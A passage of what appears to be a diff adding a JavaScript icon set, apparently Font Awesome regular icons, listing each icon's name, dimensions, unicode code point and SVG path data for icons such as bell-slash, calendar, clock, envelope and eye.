112-112s112 50.14 112 112c0 .2-.06.38-.06.58.11 85.1 23.31 131.46 44.53 159.42H67.53zM224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64z" ], + "bell-slash": [ 640, 512, [], "f1f6", "M633.99 471.02L36 3.51C29.1-2.01 19.03-.9 13.51 6l-10 12.49C-2.02 25.39-.9 35.46 6 40.98l598 467.51c6.9 5.52 16.96 4.4 22.49-2.49l10-12.49c5.52-6.9 4.41-16.97-2.5-22.49zM163.53 368c16.71-22.03 34.48-55.8 41.4-110.58l-45.47-35.55c-3.27 90.73-36.47 120.68-54.84 140.42-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h279.66l-61.4-48H163.53zM320 96c61.86 0 112 50.14 112 112 0 .2-.06.38-.06.58.02 16.84 1.16 31.77 2.79 45.73l59.53 46.54c-8.31-22.13-14.34-51.49-14.34-92.85 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-26.02 5.41-49.45 16.94-69.13 32.72l38.17 29.84C275 103.18 296.65 96 320 96zm0 416c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z" ], + bookmark: [ 384, 512, [], "f02e", "M336 0H48C21.49 0 0 21.49 0 48v464l192-112 192 112V48c0-26.51-21.49-48-48-48zm0 428.43l-144-84-144 84V54a6 6 0 0 1 6-6h276c3.314 0 6 2.683 6 5.996V428.43z" ], + building: [ 448, 512, [], "f1ad", "M128 148v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12zm140 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-128 96h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm128 0h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-76 84v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm76 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm180 124v36H0v-36c0-6.6 5.4-12 12-12h19.5V24c0-13.3 10.7-24 24-24h337c13.3 0 24 10.7 24 24v440H436c6.6 0 12 5.4 12 12zM79.5 463H192v-67c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v67h112.5V49L80 48l-.5 415z" ], + calendar: [ 448, 512, [], "f133", "M400 64h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V160h352v298c0 3.3-2.7 6-6 6z" ], + "calendar-alt": [ 448, 512, [], "f073", "M148 288h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm108-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 96v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96-260v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "calendar-check": [ 448, 512, [], "f274", "M400 64h-48V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H160V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V160h352v298a6 6 0 0 1-6 6zm-52.849-200.65L198.842 404.519c-4.705 4.667-12.303 4.637-16.971-.068l-75.091-75.699c-4.667-4.705-4.637-12.303.068-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l44.104 44.461 111.072-110.181c4.705-4.667 12.303-4.637 16.971.068l22.536 22.718c4.667 4.705 4.636 12.303-.069 16.97z" ], + "calendar-minus": [ 448, 512, [], "f272", "M124 328c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v24c0 6.6-5.4 12-12 12H124zm324-216v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "calendar-plus": [ 448, 512, [], "f271", "M336 292v24c0 6.6-5.4 12-12 12h-76v76c0 6.6-5.4 12-12 12h-24c-6.6 0-12-5.4-12-12v-76h-76c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h76v-76c0-6.6 5.4-12 12-12h24c6.6 0 12 5.4 12 12v76h76c6.6 0 12 5.4 12 12zm112-180v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "calendar-times": [ 448, 512, [], "f273", "M311.7 374.7l-17 17c-4.7 4.7-12.3 4.7-17 0L224 337.9l-53.7 53.7c-4.7 4.7-12.3 4.7-17 0l-17-17c-4.7-4.7-4.7-12.3 0-17l53.7-53.7-53.7-53.7c-4.7-4.7-4.7-12.3 0-17l17-17c4.7-4.7 12.3-4.7 17 0l53.7 53.7 53.7-53.7c4.7-4.7 12.3-4.7 17 0l17 17c4.7 4.7 4.7 12.3 0 17L257.9 304l53.7 53.7c4.8 4.7 4.8 12.3.1 17zM448 112v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "caret-square-down": [ 448, 512, [], "f150", "M125.1 208h197.8c10.7 0 16.1 13 8.5 20.5l-98.9 98.3c-4.7 4.7-12.2 4.7-16.9 0l-98.9-98.3c-7.7-7.5-2.3-20.5 8.4-20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "caret-square-left": [ 448, 512, [], "f191", "M272 157.1v197.8c0 10.7-13 16.1-20.5 8.5l-98.3-98.9c-4.7-4.7-4.7-12.2 0-16.9l98.3-98.9c7.5-7.7 20.5-2.3 20.5 8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "caret-square-right": [ 448, 512, [], "f152", "M176 354.9V157.1c0-10.7 13-16.1 20.5-8.5l98.3 98.9c4.7 4.7 4.7 12.2 0 16.9l-98.3 98.9c-7.5 7.7-20.5 2.3-20.5-8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "caret-square-up": [ 448, 512, [], "f151", "M322.9 304H125.1c-10.7 0-16.1-13-8.5-20.5l98.9-98.3c4.7-4.7 12.2-4.7 16.9 0l98.9 98.3c7.7 7.5 2.3 20.5-8.4 20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "chart-bar": [ 512, 512, [], "f080", "M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z" ], + "check-circle": [ 512, 512, [], "f058", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 48c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m140.204 130.267l-22.536-22.718c-4.667-4.705-12.265-4.736-16.97-.068L215.346 303.697l-59.792-60.277c-4.667-4.705-12.265-4.736-16.97-.069l-22.719 22.536c-4.705 4.667-4.736 12.265-.068 16.971l90.781 91.516c4.667 4.705 12.265 4.736 16.97.068l172.589-171.204c4.704-4.668 4.734-12.266.067-16.971z" ], + "check-square": [ 448, 512, [], "f14a", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm0 400H48V80h352v352zm-35.864-241.724L191.547 361.48c-4.705 4.667-12.303 4.637-16.97-.068l-90.781-91.516c-4.667-4.705-4.637-12.303.069-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l59.792 60.277 141.352-140.216c4.705-4.667 12.303-4.637 16.97.068l22.536 22.718c4.667 4.706 4.637 12.304-.068 16.971z" ], + circle: [ 512, 512, [], "f111", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z" ], + clipboard: [ 384, 512, [], "f328", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm144 418c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h42v36c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-36h42c3.3 0 6 2.7 6 6z" ], + clock: [ 512, 512, [], "f017", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm61.8-104.4l-84.9-61.7c-3.1-2.3-4.9-5.9-4.9-9.7V116c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v141.7l66.8 48.6c5.4 3.9 6.5 11.4 2.6 16.8L334.6 349c-3.9 5.3-11.4 6.5-16.8 2.6z" ], + clone: [ 512, 512, [], "f24d", "M464 0H144c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h320c26.51 0 48-21.49 48-48v-48h48c26.51 0 48-21.49 48-48V48c0-26.51-21.49-48-48-48zM362 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h42v224c0 26.51 21.49 48 48 48h224v42a6 6 0 0 1-6 6zm96-96H150a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h308a6 6 0 0 1 6 6v308a6 6 0 0 1-6 6z" ], + "closed-captioning": [ 512, 512, [], "f20a", "M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 336H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v276c0 3.3-2.7 6-6 6zm-211.1-85.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7zm190.4 0c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.9-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 220.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7z" ], + comment: [ 512, 512, [], "f075", "M256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z" ], + "comment-alt": [ 512, 512, [], "f27a", "M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 7.1 5.8 12 12 12 2.4 0 4.9-.7 7.1-2.4L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zm16 352c0 8.8-7.2 16-16 16H288l-12.8 9.6L208 428v-60H64c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h384c8.8 0 16 7.2 16 16v288z" ], + "comment-dots": [ 512, 512, [], "f4ad", "M144 208c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zM256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z" ], + comments: [ 576, 512, [], "f086", "M532 386.2c27.5-27.1 44-61.1 44-98.2 0-80-76.5-146.1-176.2-157.9C368.3 72.5 294.3 32 208 32 93.1 32 0 103.6 0 192c0 37 16.5 71 44 98.2-15.3 30.7-37.3 54.5-37.7 54.9-6.3 6.7-8.1 16.5-4.4 25 3.6 8.5 12 14 21.2 14 53.5 0 96.7-20.2 125.2-38.8 9.2 2.1 18.7 3.7 28.4 4.9C208.1 407.6 281.8 448 368 448c20.8 0 40.8-2.4 59.8-6.8C456.3 459.7 499.4 480 553 480c9.2 0 17.5-5.5 21.2-14 3.6-8.5 1.9-18.3-4.4-25-.4-.3-22.5-24.1-37.8-54.8zm-392.8-92.3L122.1 305c-14.1 9.1-28.5 16.3-43.1 21.4 2.7-4.7 5.4-9.7 8-14.8l15.5-31.1L77.7 256C64.2 242.6 48 220.7 48 192c0-60.7 73.3-112 160-112s160 51.3 160 112-73.3 112-160 112c-16.5 0-33-1.9-49-5.6l-19.8-4.5zM498.3 352l-24.7 24.4 15.5 31.1c2.6 5.1 5.3 10.1 8 14.8-14.6-5.1-29-12.3-43.1-21.4l-17.1-11.1-19.9 4.6c-16 3.7-32.5 5.6-49 5.6-54 0-102.2-20.1-131.3-49.7C338 339.5 416 272.9 416 192c0-3.4-.4-6.7-.7-10C479.7 196.5 528 238.8 528 288c0 28.7-16.2 50.6-29.7 64z" ], + compass: [ 496, 512, [], "f14e", "M347.94 129.86L203.6 195.83a31.938 31.938 0 0 0-15.77 15.77l-65.97 144.34c-7.61 16.65 9.54 33.81 26.2 26.2l144.34-65.97a31.938 31.938 0 0 0 15.77-15.77l65.97-144.34c7.61-16.66-9.54-33.81-26.2-26.2zm-77.36 148.72c-12.47 12.47-32.69 12.47-45.16 0-12.47-12.47-12.47-32.69 0-45.16 12.47-12.47 32.69-12.47 45.16 0 12.47 12.47 12.47 32.69 0 45.16zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z" ], + copy: [ 448, 512, [], "f0c5", "M433.941 65.941l-51.882-51.882A48 48 0 0 0 348.118 0H176c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48v-48h80c26.51 0 48-21.49 48-48V99.882a48 48 0 0 0-14.059-33.941zM266 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h74v224c0 26.51 21.49 48 48 48h96v42a6 6 0 0 1-6 6zm128-96H182a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h106v88c0 13.255 10.745 24 24 24h88v202a6 6 0 0 1-6 6zm6-256h-64V48h9.632c1.591 0 3.117.632 4.243 1.757l48.368 48.368a6 6 0 0 1 1.757 4.243V112z" ], + copyright: [ 512, 512, [], "f1f9", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm107.351-101.064c-9.614 9.712-45.53 41.396-104.065 41.396-82.43 0-140.484-61.425-140.484-141.567 0-79.152 60.275-139.401 139.762-139.401 55.531 0 88.738 26.62 97.593 34.779a11.965 11.965 0 0 1 1.936 15.322l-18.155 28.113c-3.841 5.95-11.966 7.282-17.499 2.921-8.595-6.776-31.814-22.538-61.708-22.538-48.303 0-77.916 35.33-77.916 80.082 0 41.589 26.888 83.692 78.277 83.692 32.657 0 56.843-19.039 65.726-27.225 5.27-4.857 13.596-4.039 17.82 1.738l19.865 27.17a11.947 11.947 0 0 1-1.152 15.518z" ], + "credit-card": [ 576, 512, [], "f09d", "M527.9 32H48.1C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48.1 48h479.8c26.6 0 48.1-21.5 48.1-48V80c0-26.5-21.5-48-48.1-48zM54.1 80h467.8c3.3 0 6 2.7 6 6v42H48.1V86c0-3.3 2.7-6 6-6zm467.8 352H54.1c-3.3 0-6-2.7-6-6V256h479.8v170c0 3.3-2.7 6-6 6zM192 332v40c0 6.6-5.4 12-12 12h-72c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12zm192 0v40c0 6.6-5.4 12-12 12H236c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12z" ], + dizzy: [ 496, 512, [], "f567", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-33.8-217.9c7.8-7.8 7.8-20.5 0-28.3L196.3 192l17.9-17.9c7.8-7.8 7.8-20.5 0-28.3-7.8-7.8-20.5-7.8-28.3 0L168 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.9 7.7 20.5 7.7 28.4-.2zm160-92.2c-7.8-7.8-20.5-7.8-28.3 0L328 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.8 7.8 20.5 7.8 28.3 0 7.8-7.8 7.8-20.5 0-28.3l-17.8-18 17.9-17.9c7.7-7.8 7.7-20.4 0-28.2zM248 272c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64z" ], + "dot-circle": [ 512, 512, [], "f192", "M256 56c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m0-48C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 168c-44.183 0-80 35.817-80 80s35.817 80 80 80 80-35.817 80-80-35.817-80-80-80z" ], + edit: [ 576, 512, [], "f044", "M402.3 344.9l32-32c5-5 13.7-1.5 13.7 5.7V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h273.5c7.1 0 10.7 8.6 5.7 13.7l-32 32c-1.5 1.5-3.5 2.3-5.7 2.3H48v352h352V350.5c0-2.1.8-4.1 2.3-5.6zm156.6-201.8L296.3 405.7l-90.4 10c-26.2 2.9-48.5-19.2-45.6-45.6l10-90.4L432.9 17.1c22.9-22.9 59.9-22.9 82.7 0l43.2 43.2c22.9 22.9 22.9 60 .1 82.8zM460.1 174L402 115.9 216.2 301.8l-7.3 65.3 65.3-7.3L460.1 174zm64.8-79.7l-43.2-43.2c-4.1-4.1-10.8-4.1-14.8 0L436 82l58.1 58.1 30.9-30.9c4-4.2 4-10.8-.1-14.9z" ], + envelope: [ 512, 512, [], "f0e0", "M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm0 48v40.805c-22.422 18.259-58.168 46.651-134.587 106.49-16.841 13.247-50.201 45.072-73.413 44.701-23.208.375-56.579-31.459-73.413-44.701C106.18 199.465 70.425 171.067 48 152.805V112h416zM48 400V214.398c22.914 18.251 55.409 43.862 104.938 82.646 21.857 17.205 60.134 55.186 103.062 54.955 42.717.231 80.509-37.199 103.053-54.947 49.528-38.783 82.032-64.401 104.947-82.653V400H48z" ], + "envelope-open": [ 512, 512, [], "f2b6", "M494.586 164.516c-4.697-3.883-111.723-89.95-135.251-108.657C337.231 38.191 299.437 0 256 0c-43.205 0-80.636 37.717-103.335 55.859-24.463 19.45-131.07 105.195-135.15 108.549A48.004 48.004 0 0 0 0 201.485V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V201.509a48 48 0 0 0-17.414-36.993zM464 458a6 6 0 0 1-6 6H54a6 6 0 0 1-6-6V204.347c0-1.813.816-3.526 2.226-4.665 15.87-12.814 108.793-87.554 132.364-106.293C200.755 78.88 232.398 48 256 48c23.693 0 55.857 31.369 73.41 45.389 23.573 18.741 116.503 93.493 132.366 106.316a5.99 5.99 0 0 1 2.224 4.663V458zm-31.991-187.704c4.249 5.159 3.465 12.795-1.745 16.981-28.975 23.283-59.274 47.597-70.929 56.863C336.636 362.283 299.205 400 256 400c-43.452 0-81.287-38.237-103.335-55.86-11.279-8.967-41.744-33.413-70.927-56.865-5.21-4.187-5.993-11.822-1.745-16.981l15.258-18.528c4.178-5.073 11.657-5.843 16.779-1.726 28.618 23.001 58.566 47.035 70.56 56.571C200.143 320.631 232.307 352 256 352c23.602 0 55.246-30.88 73.41-45.389 11.994-9.535 41.944-33.57 70.563-56.568 5.122-4.116 12.601-3.346 16.778 1.727l15.258 18.526z" ], + eye: [ 576, 512, [], "f06e", "M288 144a110.94 110.94 0 0 0-31.24 5 55.4 55.4 0 0 1 7.24 27 56 56 0 0 1-56 56 55.4 55.4 0 0 1-27-7.24A111.71 111.71 0 1 0 288 144zm284.52 97.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400c-98.65 0-189.09-55-237.93-144C98.91 167 189.34 112 288 112s189.09 55 237.93 144C477.1 345 386.66 400 288 400z" ], + "eye-slash": [ 640, 512, [], "f070", "M634 471L36 3.51A16 16 0 0 0 13.51 6l-10 12.49A16 16 0 0 0 6 41l598 467.49a16 16 0 0 0 22.49-2.49l10-12.49A16 16 0 0 0 634 471zM296.79 146.47l134.79 105.38C429.36 191.91 380.48 144 320 144a112.26 112.26 0 0 0-23.21 2.47zm46.42 219.07L208.42 260.16C210.65 320.09 259.53 368 320 368a113 113 0 0 0 23.21-2.46zM320 112c98.65 0 189.09 55 237.93 144a285.53 285.53 0 0 1-44 60.2l37.74 29.5a333.7 333.7 0 0 0 52.9-75.11 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64c-36.7 0-71.71 7-104.63 18.81l46.41 36.29c18.94-4.3 38.34-7.1 58.22-7.1zm0 288c-98.65 0-189.08-55-237.93-144a285.47 285.47 0 0 1 44.05-60.19l-37.74-29.5a333.6 333.6 0 0 0-52.89 75.1 32.35 32.35 0 0 0 0 29.19C89.72 376.41 197.08 448 320 448c36.7 0 71.71-7.05 104.63-18.81l-46.41-36.28C359.28 397.2 339.89 400 320 400z" ], + file: [ 384, 512, [], "f15b", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48z" ], + "file-alt": [ 384, 512, [], "f15c", "M288 248v28c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-28c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm-12 72H108c-6.6 0-12 5.4-12 12v28c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-28c0-6.6-5.4-12-12-12zm108-188.1V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48C0 21.5 21.5 0 48 0h204.1C264.8 0 277 5.1 286 14.1L369.9 98c9 8.9 14.1 21.2 14.1 33.9zm-128-80V128h76.1L256 51.9zM336 464V176H232c-13.3 0-24-10.7-24-24V48H48v416h288z" ], + "file-archive": [ 384, 512, [], "f1c6", "M128.3 160v32h32v-32zm64-96h-32v32h32zm-64 32v32h32V96zm64 32h-32v32h32zm177.6-30.1L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 